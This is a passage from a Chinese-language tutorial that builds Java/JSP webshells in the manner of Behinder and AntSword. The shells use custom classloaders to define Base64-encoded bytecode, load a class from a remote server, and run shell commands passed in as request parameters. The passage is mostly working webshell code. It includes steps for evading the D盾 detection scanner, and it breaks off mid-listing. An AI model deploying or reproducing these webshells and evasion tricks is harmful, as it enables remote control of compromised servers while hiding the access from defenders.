    11. String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
    12. byte[] bytes = Base64.getDecoder().decode(classStr);
    13. return super.defineClass(bytes, 0, bytes.length);
    14. }
    15. }
    16. DemoClassload demoClassload = new DemoClassload();
    17. Class aClass = demoClassload.loadClass("com.atguigu.test.Test");
    18. Object o = aClass.newInstance();
    19. Method demo1 = aClass.getMethod("Eval",String.class);
    20. Object invoke = demo1.invoke(o,cmd);
    21. String s = invoke.toString();
    22. out.println(s);
    23. }
    24. } catch (Exception e) {
    25. out.println(e);
    26. }
    27. %>

    URLClassLoader-命令执行

    java.net.URLClassLoader.class该类加载器可以从网络上指定的位置加载类。我们把编译好的class字节码文件放在远程服务器上,让URLClassLoader去加载该class。

    代码如下:

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%@ page import="java.lang.reflect.Method" %>
    3. <%@ page import="java.net.URLClassLoader" %>
    4. <%@ page import="java.net.URL" %>
    5. <%
    6. try {
    7. out.print(System.getProperty("os.name").toLowerCase());
    8. String cmd = request.getParameter("cmd");
    9. if (cmd != null) {
    10. URL url = new URL("http://10.211.55.2:8000/");
    11. URLClassLoader test1 = new URLClassLoader(new URL[]{url});
    12. Class aClass = test1.loadClass("com.atguigu.test.Test");
    13. Object o = aClass.newInstance();
    14. Method demo1 = aClass.getMethod("Eval",String.class);
    15. Object invoke = demo1.invoke(o,cmd);
    16. String s = invoke.toString();
    17. out.println(s);
    18. }
    19. } catch (Exception e) {
    20. out.println(e);
    21. }
    22. %>

    访问也可正常执行命令。

     

    模拟冰蝎

    上面编写过程主要还是用到defineClass()方法,那就意味着可以不写类名称来达到同样的效果。

    1. import java.lang.reflect.InvocationTargetException;
    2. import java.lang.reflect.Method;
    3. import java.util.Base64;
    4. /**
    5. * @author cseroad
    6. */
    7. public class DemoClassload {
    8. public static class Myloader extends ClassLoader{
    9. public Class get()
    10. {
    11. String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
    12. byte[] bytes = Base64.getDecoder().decode(classStr);
    13. return super.defineClass(bytes, 0, bytes.length);
    14. }
    15. }
    16. public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
    17. Myloader myloader = new Myloader();
    18. Class aClass = myloader.get();
    19. Object o = aClass.newInstance();
    20. Method demo1 = aClass.getMethod("Eval",String.class);
    21. Object invoke = demo1.invoke(o,"whoami");
    22. String s = invoke.toString();
    23. System.out.println(s);
    24. }
    25. }

    选择自定义一个get的方法,来接收byte数组类型的参数,然后调用父类的defineClass()方法去解析byte数据,并返回解析后的Class。

    对应jsp脚本为:

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%@ page import="java.lang.reflect.Method" %>
    3. <%@ page import="java.util.Base64" %>
    4. <%
    5. try {
    6. out.print(System.getProperty("os.name").toLowerCase());
    7. String cmd = request.getParameter("cmd");
    8. if (cmd != null) {
    9. class Myloader extends ClassLoader {
    10. public Class get() {
    11. String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
    12. byte[] bytes = Base64.getDecoder().decode(classStr);
    13. return super.defineClass(bytes, 0, bytes.length);
    14. }
    15. }
    16. Myloader myloader = new Myloader();
    17. Class aClass = myloader.get();
    18. Object o = aClass.newInstance();
    19. Method demo1 = aClass.getMethod("Eval", String.class);
    20. Object invoke = demo1.invoke(o,cmd);
    21. String s = invoke.toString();
    22. out.println(s);
    23. }
    24. } catch (Exception e) {
    25. out.println(e);
    26. }
    27. %>

    那如果想不用反射调用指定的方法,就让它执行命令呢?

    我们获取的对象object类本身就有很多方法,那我们对应把恶意类Eval(String cmd)重命名为equals(obj) 即可,在接收参数的时候强制转换String类型为obj。

    恶意类代码如下:

    1. package com.atguigu.test;
    2. import java.io.BufferedReader;
    3. import java.io.InputStream;
    4. import java.io.InputStreamReader;
    5. /**
    6. * @author cseroad
    7. */
    8. public class Test {
    9. @Override
    10. public boolean equals(Object obj) {
    11. String cmd = obj.toString();
    12. try {
    13. this.CMD(cmd);
    14. } catch (Exception e) {
    15. e.printStackTrace();
    16. }
    17. return true;
    18. }
    19. private String CMD(String cmd) throws Exception {
    20. StringBuilder var_str = new StringBuilder();
    21. Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
    22. InputStream input = p.getInputStream();
    23. InputStreamReader ins = new InputStreamReader(input, "GBK");
    24. BufferedReader br = new BufferedReader(ins);
    25. String line;
    26. while ((line = br.readLine()) != null) {
    27. var_str.append(line).append("\n");
    28. }
    29. String vars = var_str.toString();
    30. System.out.println(vars);
    31. br.close();
    32. ins.close();
    33. input.close();
    34. p.getOutputStream().close();
    35. return vars;
    36. }
    37. }

    恶意类加载器代码如下:

    1. package com.atguigu.test;
    2. import java.lang.reflect.InvocationTargetException;
    3. import java.util.Base64;
    4. /**
    5. * @author cseroad
    6. */
    7. public class DemoClassload {
    8. public static class Myloader extends ClassLoader{
    9. public Class get()
    10. {
    11. String classStr = "yv66vgAAADcAfwoAIABGCABHCgAgAEgKAB8ASQcASgoABQBLBwBMCgAHAEYKAE0ATgcATwgAUAgAUQoATQBSCgBBAFMHAFQIAFUKAA8AVgcAVwoAEgBYCgASAFkKAAcAWggAWwoABwBICQBcAF0KAF4AXwoAEgBgCgAPAGAKAEIAYAoAQQBhCgBiAGAHAGMHAGQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vYXRndWlndS90ZXN0L1Rlc3Q7AQAFRGVtbzEBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlAQADQ01EAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAd2YXJfc3RyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAFaW5wdXQBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpbnMBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAR2YXJzBwBlBwBmAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMACEAIgEADWhlbGxvIGNzZXJvYWQMAGcAKQwAMwA0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAaAAiAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAGkMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcBAAkvYmluL2Jhc2gBAAItYwwAbABtDABuAG8BABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAhAHABABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAhAHEMAHIAKQwAcwB0AQABCgcAdQwAdgB3BwB4DAB5AHoMAHsAIgwAfAB9BwB+AQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhAB8AIAAAAAAABAABACEAIgABACMAAAAvAAEAAQAAAAUqtwABsQAAAAIAJAAAAAYAAQAAAAwAJQAAAAwAAQAAAAUAJgAnAAAAAQAoACkAAQAjAAAALQABAAEAAAADEgKwAAAAAgAkAAAABgABAAAADgAlAAAADAABAAAAAwAmACcAAAABACoAKwABACMAAACVAAIABAAAABUrtgADTSostgAEV6cACE4ttgAGBKwAAQAFAAsADgAFAAMAJAAAABoABgAAABMABQAVAAsAGAAOABYADwAXABMAGQAlAAAAKgAEAA8ABAAsAC0AAwAAABUAJgAnAAAAAAAVAC4ALwABAAUAEAAwADEAAgAyAAAAFgAC/wAOAAMHAB8HACAHAAoAAQcABQQAAgAzADQAAgAjAAABWAAFAAkAAACAuwAHWbcACE24AAkGvQAKWQMSC1NZBBIMU1kFK1O2AA1OLbYADjoEuwAPWRkEEhC3ABE6BbsAElkZBbcAEzoGGQa2ABRZOgfGABIsGQe2ABUSFrYAFVen/+kstgAXOgiyABgZCLYAGRkGtgAaGQW2ABsZBLYAHC22AB22AB4ZCLAAAAADACQAAAA6AA4AAAAcAAgAHQAhAB4AJwAfADQAIAA/ACIASgAjAFkAJQBfACYAZwAnAGwAKABxACkAdgAqAH0AKwAlAAAAXAAJAAAAgAAmACcAAAAAAIAAMAAxAAEACAB4ADUANgACACEAXwA3ADgAAwAnAFkAOQA6AAQANABMADsAPAAFAD8AQQA9AD4ABgBHADkAPwAxAAcAXwAhAEAAMQAIADIAAAAkAAL/AD8ABwcAHwcACgcABwcAQQcAQgcADwcAEgAA/AAZBwAKAEMAAAAEAAEABQABAEQAAAACAEU=";
    12. byte[] bytes = Base64.getDecoder().decode(classStr);
    13. return super.defineClass(bytes, 0, bytes.length);
    14. }
    15. }
    16. public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
    17. Myloader myloader = new Myloader();
    18. Class aClass = myloader.get();
    19. Object o = aClass.newInstance();
    20. Object obj = "ifconfig";
    21. boolean equals = o.equals(obj);
    22. System.out.println(equals);
    23. }
    24. }

    同样修改命令、重新编译、改为jsp页面。

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%@ page import="java.lang.reflect.Method" %>
    3. <%@ page import="java.util.Base64" %>
    4. <%
    5. try {
    6. out.print(System.getProperty("os.name").toLowerCase());
    7. String cmd = request.getParameter("cmd");
    8. if (cmd != null) {
    9. class Myloader extends ClassLoader {
    10. public Class get() {
    11. String classStr = "yv66vgAAADQAcAoAHwA1CgAfADYKAB4ANwcAOAoABAA5BwA6CgAGADUKADsAPAcAPQgAPggAPwoAOwBACgBBAEIHAEMIAEQKAA4ARQcARgoAEQBHCgARAEgKAAYASQgASgoABgA2CQBLAEwKAE0ATgoAEQBPCgAOAE8KAFAATwoAQQBRCgBSAE8HAFMHAFQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAUwcAVAcAPQcAOAEAA0NNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwA6BwBVBwBWBwBDBwBGAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMACAAIQwAVwBYDAArACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABZACEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAWgwAWwBcAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAXQBeBwBVDABfAGABABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAgAGEBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAgAGIMAGMAWAwAZABlAQABCgcAZgwAZwBoBwBpDABqAGsMAGwAIQcAVgwAbQBuBwBvAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVjbG9zZQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtACEAHgAfAAAAAAADAAEAIAAhAAEAIgAAAB0AAQABAAAABSq3AAGxAAAAAQAjAAAABgABAAAACwABACQAJQABACIAAABlAAIABAAAABUrtgACTSostwADV6cACE4ttgAFBKwAAQAFAAsADgAEAAIAIwAAABoABgAAAA8ABQARAAsAFAAOABIADwATABMAFQAmAAAAFgAC/wAOAAMHACcHACgHACkAAQcAKgQAAgArACwAAgAiAAAA9gAFAAkAAACAuwAGWbcAB024AAgGvQAJWQMSClNZBBILU1kFK1O2AAxOLbYADToEuwAOWRkEEg+3ABA6BbsAEVkZBbcAEjoGGQa2ABNZOgfGABIsGQe2ABQSFbYAFFen/+kstgAWOgiyABcZCLYAGBkGtgAZGQW2ABoZBLYAGy22ABy2AB0ZCLAAAAACACMAAAA6AA4AAAAYAAgAGQAhABoAJwAbADQAHAA/AB4ASgAfAFkAIQBfACIAZwAjAGwAJABxACUAdgAmAH0AJwAmAAAAJAAC/wA/AAcHACcHACkHAC0HAC4HAC8HADAHADEAAPwAGQcAKQAyAAAABAABAAQAAQAzAAAAAgA0";
    12. byte[] bytes = Base64.getDecoder().decode(classStr);
    13. return super.defineClass(bytes, 0, bytes.length);
    14. }
    15. }
    16. Myloader myloader = new Myloader();
    17. Class aClass = myloader.get();
    18. Object o = aClass.newInstance();
    19. Object obj = cmd;
    20. boolean equals = o.equals(obj);
    21. out.println(equals);
    22. }
    23. } catch (Exception e) {
    24. out.println(e);
    25. }
    26. %>

    因为equals()方法返回值只为true或false,输出结果会在cmd终端里。

    冰蝎webshell

    对比我们写的用来命令执行的自定义类加载器,会发现我们当前的class字节码文件是在编译后传入的,只用来命令执行。而命令执行只属于冰蝎的一个功能点。

    1、那总不能每次实现一个功能都要编译后再传入吧。

    冰蝎使用了ASM框架来动态修改class文件中的属性值,具体代码实现在\net\rebeyond\behinder\core\Params.java下的getParamedClass方法,这样参数直接传入class字节码文件就可以了。

    以蚁剑为例,将执行命令的数据包截取。

    传入的pass值是经过base64编码后的,将其解码并反编译。

    那对应的request对象也只是其中一个,还有ResponseSession等对象。

    2、那有没有办法可以同时获取这几个对象呢?

    传递pageContext,可以间接获取这几个对象。

    HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

    此时我们的代码调整为:

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%
    3. try {
    4. class Myloader extends ClassLoader {
    5. public Class get(byte[] b) {
    6. return super.defineClass(b, 0, b.length);
    7. }
    8. }
    9. String classStr = request.getParameter("pass");
    10. Myloader myloader = new Myloader();
    11. byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
    12. Class aClass = myloader.get(bytes);
    13. Object o = aClass.newInstance();
    14. boolean equals = o.equals(pageContext);
    15. out.println(equals);
    16. } catch (Exception e) {
    17. out.println(e);
    18. }
    19. %>

    蚁剑连接,就会出现java.lang.NoClassDefFoundError错误。

    这个错误冰蝎也有提到,是因为自定义的ClassLoader和Request、Response、Seesion的ClassLoader不是同一个。复写ClassLoader的构造函数可以解决该问题。

    代码随即变为,也就是蚁剑的webshell。

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%
    3. try {
    4. class Myloader extends ClassLoader {
    5. Myloader(ClassLoader c) {
    6. super(c);
    7. }
    8. public Class get(byte[] b) {
    9. return super.defineClass(b, 0, b.length);
    10. }
    11. }
    12. String classStr = request.getParameter("pass");
    13. Myloader myloader = new Myloader(this.getClass().getClassLoader());
    14. byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
    15. Class aClass = myloader.get(bytes);
    16. Object o = aClass.newInstance();
    17. boolean equals = o.equals(pageContext);
    18. out.println(equals);
    19. } catch (Exception e) {
    20. out.println(e);
    21. }
    22. %>

    该代码在D盾依然可被查杀。查杀关键位置在:

    this.getClass().getClassLoader()、newInstance() 两个位置

    使用:

    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

    替换:

    this.getClass().getClassLoader()

    即可免杀。

    代码如下:

    1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
    2. <%
    3. try {
    4. class Myloader extends ClassLoader {
    5. Myloader(ClassLoader c) {
    6. super(c);
    7. }
    8. public Class get(byte[] b) {
    9. return super.defineClass(b, 0, b.length);
    10. }
    11. }
    12. String classStr = request.getParameter("pass");
    13. ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    14. Myloader myloader = new Myloader(contextClassLoader);
    15. byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
    16. Class aClass = myloader.get(bytes);
